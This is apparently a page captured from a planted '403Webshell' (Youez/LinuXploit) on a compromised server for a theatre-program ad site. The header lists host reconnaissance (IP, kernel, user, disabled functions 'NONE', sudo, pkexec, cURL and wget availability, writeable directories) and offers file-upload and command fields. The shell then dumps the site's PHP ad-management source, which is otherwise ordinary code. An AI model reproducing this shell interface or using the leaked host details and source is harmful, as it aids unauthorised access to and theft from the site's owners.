403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.68
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/domains/stagemag/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/domains/stagemag/programedit-ads.php
<?php
include 'header.php';
set_time_limit(600);

$programid = resolve_programid();
require_program_access($programid, $getuser);
$imagepath = '/home/banners/domains/stagemag/temp/';
?>

<style>
.feature-card { background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; margin-bottom: 20px; box-shadow: 0 2px 4px rgba(0,0,0,0.08); }
.feature-card-header { background: linear-gradient(135deg, #b20223 0%, #8a011a 100%); color: #fff; padding: 12px 20px; border-radius: 7px 7px 0 0; font-size: 18px; font-weight: 600; }
.feature-card-body { padding: 20px; }
.feature-card-body p { color: #555; margin-bottom: 15px; line-height: 1.5; }
.feature-card-body label { font-weight: 600; color: #333; display: block; margin-bottom: 5px; }
.feature-card-body select, .feature-card-body input[type="text"] { padding: 8px 12px; border: 1px solid #ccc; border-radius: 4px; font-size: 14px; }
.feature-card-body textarea { padding: 10px; border: 1px solid #ccc; border-radius: 4px; font-size: 14px; }
.feature-row { margin-bottom: 15px; }
.feature-row:last-child { margin-bottom: 0; }
.ads-table { width: 100%; border-collapse: collapse; }
.ads-table th { background: #f5f5f5; padding: 10px 12px; text-align: left; font-weight: 600; border-bottom: 2px solid #e0e0e0; }
.ads-table td { padding: 10px 12px; border-bottom: 1px solid #eee; vertical-align: middle; }
.ads-table tr:hover { background: #fafafa; }
.btn-action { color: #b20223; text-decoration: none; font-size: 13px; }
.btn-action:hover { text-decoration: underline; }
.btn-delete { color: #c00; }
.btn-save { background-color: #b20223; color: white; border: none; padding: 10px 20px; border-radius: 4px; font-size: 14px; font-weight: 600; cursor: pointer; }
.btn-save:hover { background-color: #8a011a; }
.btn-add { display: inline-block; background-color: #b20223; color: white; border: none; padding: 10px 20px; border-radius: 4px; font-size: 14px; font-weight: 600; cursor: pointer; text-decoration: none; }
.btn-add:hover { background-color: #8a011a; color: white; }
.btn-secondary { background-color: #666; color: white; border: none; padding: 8px 16px; border-radius: 4px; font-size: 13px; cursor: pointer; }
.btn-secondary:hover { background-color: #555; }
</style>

<div id="content" style="max-width: 800px;">
  <div id="content-header">
    <h2>&nbsp;Manage Ads</h2>
  </div>
  <div class="container-fluid">

<?php
// Delete
if (isset($_GET['delete'])) {
    $stmt = db_write()->prepare("DELETE FROM stagemag.ads WHERE id = ?");
    $stmt->execute([intval($_GET['delete'])]);
    header('Location: https://stagemag.broadwayworld.com/programedit-ads.php?programid=' . urlencode($programid));
    exit;
}

// Save sponsor headers
if (isset($_GET['editsaveheader'])) {
    $sponsor1header = $_POST['sponsor1header'] ?? '';
    $sponsor2header = $_POST['sponsor2header'] ?? '';
    $sponsor3header = $_POST['sponsor3header'] ?? '';

    $stmt = db_write()->prepare("UPDATE stagemag.productions SET sponsor1header = ?, sponsor2header = ?, sponsor3header = ? WHERE id = ?");
    $stmt->execute([$sponsor1header, $sponsor2header, $sponsor3header, $programid]);
}

// Save ad edit
if (isset($_GET['editsaveclient'])) {
    $editsaveclient = intval($_GET['editsaveclient']);
    $caption    = $_POST['caption'] ?? '';
    $linker     = $_POST['linker'] ?? '';
    $wheread    = intval($_POST['wheread'] ?? 0);
    $adtyper    = intval($_POST['typer'] ?? 0);
    $familytext = $_POST['familytext'] ?? '';
    $codetag    = $_POST['codetag'] ?? '';

    $stmt = db_write()->prepare("UPDATE stagemag.ads SET caption = ?, linker = ?, wheread = ?, typeofad = ?, familytext = ?, codetag = ? WHERE id = ?");
    $stmt->execute([$caption, $linker, $wheread, $adtyper, $familytext, $codetag, $editsaveclient]);

    // Photo upload
    $uploadExt = isset($_FILES['photo']) ? validate_image_upload($_FILES['photo']) : null;
    if ($uploadExt !== null) {
        $uuid  = uniqid() . '-' . bin2hex(random_bytes(4));
        $photo = $uuid . '.' . $uploadExt;

        move_uploaded_file($_FILES['photo']['tmp_name'], $imagepath . $photo);

        graphicsmagick('ResizeWidth', $imagepath . $photo, $imagepath . 'nd' . $photo, ['width' => 300, 'quality' => 100]);

        $imgSize = getimagesize($imagepath . $photo);
        $width  = $imgSize[0];
        $height = $imgSize[1];

        s3_upload($imagepath . $photo, 'stagemag/' . $photo);
        @unlink($imagepath . $photo);
        s3_upload($imagepath . 'nd' . $photo, 'stagemag/nd' . $photo);
        @unlink($imagepath . 'nd' . $photo);

        $stmt = db_write()->prepare("UPDATE stagemag.ads SET image = ?, height = ?, width = ? WHERE id = ?");
        $stmt->execute([$photo, $height, $width, $editsaveclient]);
    }

    if (isset($_POST['buttarticleman'])) {
        header('Location: /programedit-ads.php?id=' . $editsaveclient . '&programid=' . urlencode($programid));
    } else {
        header('Location: /programedit-ads.php?programid=' . urlencode($programid));
    }
    exit;
}

// Add new ad
if (isset($_GET['add'])) {
    $stmt = db_write()->prepare("SELECT ordernum FROM stagemag.ads WHERE programid = ? ORDER BY ordernum DESC LIMIT 1");
    $stmt->execute([$programid]);
    $getordernum = $stmt->fetch();
    $newordernum = (!$getordernum) ? 1 : $getordernum['ordernum'] + 1;

    $stmt = db_write()->prepare("INSERT INTO stagemag.ads (programid, ordernum) VALUES (?, ?)");
    $stmt->execute([$programid, $newordernum]);

    $stmt = db_write()->prepare("SELECT id FROM stagemag.ads ORDER BY id DESC LIMIT 1");
    $stmt->execute();
    $getblast = $stmt->fetch();

    header('Location: /programedit-ads.php?programid=' . urlencode($programid) . '&edit=' . $getblast['id']);
    exit;
}

// Show headers + add button when not editing
if (!isset($_GET['edit'])):
    $stmt = db_write()->prepare("SELECT * FROM stagemag.productions WHERE id = ?");
    $stmt->execute([$programid]);
    $getheader = $stmt->fetch();
?>

<div class="feature-card">
    <div class="feature-card-header">Sponsor Section Headers</div>
    <div class="feature-card-body">
        <p>Customize the headers that appear above your sponsor ads in different sections of the program.</p>
        <FORM action="programedit-ads.php?editsaveheader=on&programid=<?= $programid ?>" method="post" enctype="multipart/form-data">
            <div style="display: flex; gap: 15px; flex-wrap: wrap; align-items: flex-end;">
                <div class="feature-row" style="flex: 1; min-width: 150px;">
                    <label>Start of Mag</label>
                    <input name="sponsor1header" style="width:100%" type="text" value="<?= htmlspecialchars($getheader['sponsor1header'] ?? '') ?>">
                </div>
                <div class="feature-row" style="flex: 1; min-width: 150px;">
                    <label>Middle of Mag</label>
                    <input name="sponsor3header" style="width:100%" type="text" value="<?= htmlspecialchars($getheader['sponsor3header'] ?? '') ?>">
                </div>
                <div class="feature-row" style="flex: 1; min-width: 150px;">
                    <label>End of Mag</label>
                    <input name="sponsor2header" style="width:100%" type="text" value="<?= htmlspecialchars($getheader['sponsor2header'] ?? '') ?>">
                </div>
                <div><button type="submit" name="buttadminman" class="btn-save">Save Headers</button></div>
            </div>
        </form>
    </div>
</div>

<div class="feature-card">
    <div class="feature-card-header">Advertisements</div>
    <div class="feature-card-body">
        <p>Manage your program advertisements. Click and drag rows to change the display order.</p>
        <a href="programedit-ads.php?add=on&programid=<?= $programid ?>" class="btn-add">Add Advertisement</a>
    </div>
</div>

<?php endif; ?>

<?php if (isset($_GET['edit'])):
    $editId = intval($_GET['edit']);
    $stmt = db_read()->prepare("SELECT * FROM stagemag.ads WHERE programid = ? AND id = ?");
    $stmt->execute([$programid, $editId]);
    $geter = $stmt->fetch();

    if (!isset($_POST['typer'])):
?>
<div class="feature-card">
    <div class="feature-card-header">Edit Advertisement</div>
    <div class="feature-card-body">
        <?php if ($geter['image'] !== ''): ?>
            <div style="margin-bottom: 15px;">
                <label>Current Image:</label>
                <img src="https://cloudimages.broadwayworld.com/stagemag/nd<?= htmlspecialchars($geter['image']) ?>" style="max-height:100px; border-radius: 4px;">
            </div>
        <?php endif; ?>

        <FORM action="programedit-ads.php?edit=<?= $editId ?>&programid=<?= $programid ?>" method="post" enctype="multipart/form-data">
            <div class="feature-row">
                <label>Where should the ad appear?</label>
                <select name="wheread" style="width: 100%; max-width: 250px;">
                    <?php
                    $positions = [0 => 'Beginning of Mag', 1 => 'Before Articles', 2 => 'Middle of Mag', 3 => 'End of Mag'];
                    echo '<option value="' . $geter['wheread'] . '">' . $positions[$geter['wheread']] . '</option>';
                    foreach ($positions as $val => $label) {
                        if ($val != $geter['wheread']) echo '<option value="' . $val . '">' . $label . '</option>';
                    }
                    ?>
                </select>
            </div>
            <div class="feature-row">
                <label>Type of Ad</label>
                <select name="typer" style="width: 100%; max-width: 250px;">
                    <option value="1">Banner Ad</option>
                    <option value="2">Friends and Family Ad</option>
                </select>
            </div>
            <div style="margin-top: 20px; display: flex; gap: 15px; align-items: center;">
                <button type="submit" name="buttadminman" class="btn-save">Continue</button>
                <a href="programedit-ads.php?programid=<?= $programid ?>" style="color: #666;">Cancel</a>
            </div>
        </form>
        <div style="margin-top: 20px; padding-top: 15px; border-top: 1px solid #eee;">
            <a href="programedit-ads.php?delete=<?= $editId ?>&programid=<?= $programid ?>" class="btn-action btn-delete" onclick="return confirm('Are you sure you want to delete this advertisement?');">Delete This Advertisement</a>
        </div>
    </div>
</div>

<?php else:
    $formTyper  = intval($_POST['typer']);
    $formWheread = intval($_POST['wheread'] ?? $geter['wheread']);
?>
<div class="feature-card">
    <div class="feature-card-header"><?= ($formTyper == 2) ? 'Friends & Family Ad' : 'Banner Ad' ?> Details</div>
    <div class="feature-card-body">
        <?php if ($geter['image'] !== ''): ?>
            <div style="margin-bottom: 15px;">
                <label>Current Image:</label>
                <img src="https://cloudimages.broadwayworld.com/stagemag/nd<?= htmlspecialchars($geter['image']) ?>" style="max-height:100px; border-radius: 4px;">
            </div>
        <?php endif; ?>

        <FORM action="programedit-ads.php?editsaveclient=<?= $editId ?>&programid=<?= $programid ?>" method="post" enctype="multipart/form-data">
            <input type="hidden" name="typer" value="<?= $formTyper ?>">
            <input type="hidden" name="wheread" value="<?= $formWheread ?>">

            <div class="feature-row">
                <label><?= ($formTyper == 2) ? 'Name' : 'Client Name' ?></label>
                <input name="caption" style="width:100%; max-width:400px;" type="text" value="<?= htmlspecialchars($geter['caption']) ?>">
            </div>

            <?php if ($formTyper == 1): ?>
            <div class="feature-row">
                <label>Link URL</label>
                <input name="linker" style="width:100%; max-width:400px;" type="text" value="<?= htmlspecialchars($geter['linker']) ?>" placeholder="https://">
            </div>
            <?php endif; ?>

            <div class="feature-row">
                <label>Ad Image</label>
                <p style="margin: 0 0 8px 0; font-size: 13px; color: #666;">Recommended width: 300 pixels</p>
                <input type="file" name="photo" style="padding: 8px 0;">
            </div>

            <?php if ($formTyper == 2): ?>
            <div class="feature-row">
                <label>Congratulations Text</label>
                <textarea name="familytext" style="width:100%; height:100px;"><?= htmlspecialchars($geter['familytext']) ?></textarea>
            </div>
            <?php endif; ?>

            <?php if ($formTyper == 1): ?>
            <div style="margin: 25px 0; padding: 20px; background: #f9f9f9; border-radius: 6px; border: 1px solid #e0e0e0;">
                <div style="text-align: center; margin-bottom: 15px;">
                    <span style="background: #fff; padding: 0 15px; color: #999; font-size: 13px;">OR USE EMBED CODE</span>
                </div>
                <div class="feature-row">
                    <label>3rd Party Banner Code</label>
                    <textarea name="codetag" style="width:100%; height:100px; font-family: monospace; font-size: 12px;"><?= htmlspecialchars($geter['codetag']) ?></textarea>
                </div>
            </div>
            <?php endif; ?>

            <div style="margin-top: 20px; display: flex; gap: 15px; align-items: center;">
                <button type="submit" name="buttadminman" class="btn-save">Save Advertisement</button>
                <a href="programedit-ads.php?programid=<?= $programid ?>" style="color: #666;">Cancel</a>
            </div>
        </form>
        <div style="margin-top: 20px; padding-top: 15px; border-top: 1px solid #eee;">
            <a href="programedit-ads.php?delete=<?= $editId ?>&programid=<?= $programid ?>" class="btn-action btn-delete" onclick="return confirm('Are you sure you want to delete this advertisement?');">Delete This Advertisement</a>
        </div>
    </div>
</div>
<?php endif; ?>

<?php else: ?>

<?php
// Sort order save
if (isset($_POST['sort_order']) && $_POST['sort_order'] !== '') {
    $sort_order = str_ireplace('section_id_', '', $_POST['sort_order']);
    $ids = explode(',', $sort_order);
    foreach ($ids as $ndx => $id) {
        $stmt = db_write()->prepare("UPDATE stagemag.ads SET ordernum = ? WHERE id = ?");
        $stmt->execute([$ndx + 1, intval($id)]);
    }
}
?>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/TableDnD/1.0.4/jquery.tablednd.min.js" integrity="sha512-yWU5jqsvn25Wl+rBp0hB2gY8mtPQJypx2spvFPEsEPyReMRaiKBkgAoPrFDiBZyKJhFlj2+7Est4UKT0mS71wQ==" crossorigin="anonymous"></script>

<script type="text/javascript">
$(function(){
  $("#sortable-tbl").tableDnD();
  $('#frm-sort').submit(function(){
    var sRowOrder = "";
    $("#sortable-tbl tr").each(function(i,o){
      if (sRowOrder.length) { sRowOrder += "," + o.id; } else { sRowOrder = o.id; }
    });
    $('#sort_order').val(sRowOrder);
  });
});
</script>

<?php
$stmt = db_write()->prepare("SELECT * FROM stagemag.ads WHERE programid = ? ORDER BY ordernum");
$stmt->execute([$programid]);
$getcast = $stmt->fetchAll();
$positions = [0 => 'Opening', 1 => 'Before Articles', 2 => 'Middle', 3 => 'Closing'];

if (count($getcast) > 0):
?>
<div class="feature-card" style="margin-top: 0;">
    <div class="feature-card-header">Current Advertisements</div>
    <div class="feature-card-body" style="padding: 0;">
        <table id="sortable-tbl" class="ads-table">
            <tr><th>Position</th><th>Client</th><th>Preview</th><th>Clicks</th><th>Action</th></tr>
            <?php foreach ($getcast as $row): ?>
            <tr id="section_id_<?= $row['id'] ?>" style="cursor: move;">
                <td><?= $positions[$row['wheread']] ?? 'Unknown' ?></td>
                <td><?= htmlspecialchars($row['caption']) ?></td>
                <td style="text-align: center;">
                    <?php if ($row['image'] !== ''): ?>
                        <img src="https://cloudimages.broadwayworld.com/stagemag/nd<?= htmlspecialchars($row['image']) ?>" style="max-height:60px; border-radius: 4px;">
                    <?php else: ?>
                        <span style="font-size: 11px; color: #999;">Embed Code</span>
                    <?php endif; ?>
                </td>
                <td><?= $row['clicks'] ?></td>
                <td><a href="programedit-ads.php?edit=<?= $row['id'] ?>&programid=<?= $programid ?>&typer=<?= $row['typeofad'] ?>&wheread=<?= $row['wheread'] ?>" class="btn-action">Edit</a></td>
            </tr>
            <?php endforeach; ?>
        </table>
    </div>
</div>

<form id="frm-sort" action="/programedit-ads.php?programid=<?= $programid ?>" method="post">
    <input type="hidden" name="sort_order" id="sort_order" value="" />
    <button type="submit" name="save" class="btn-save">Save Order</button>
</form>
<?php endif; ?>

<?php endif; ?>

  </div>
</div>
<!--Footer-part-->
<br><br><br><br>

<?php include 'footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit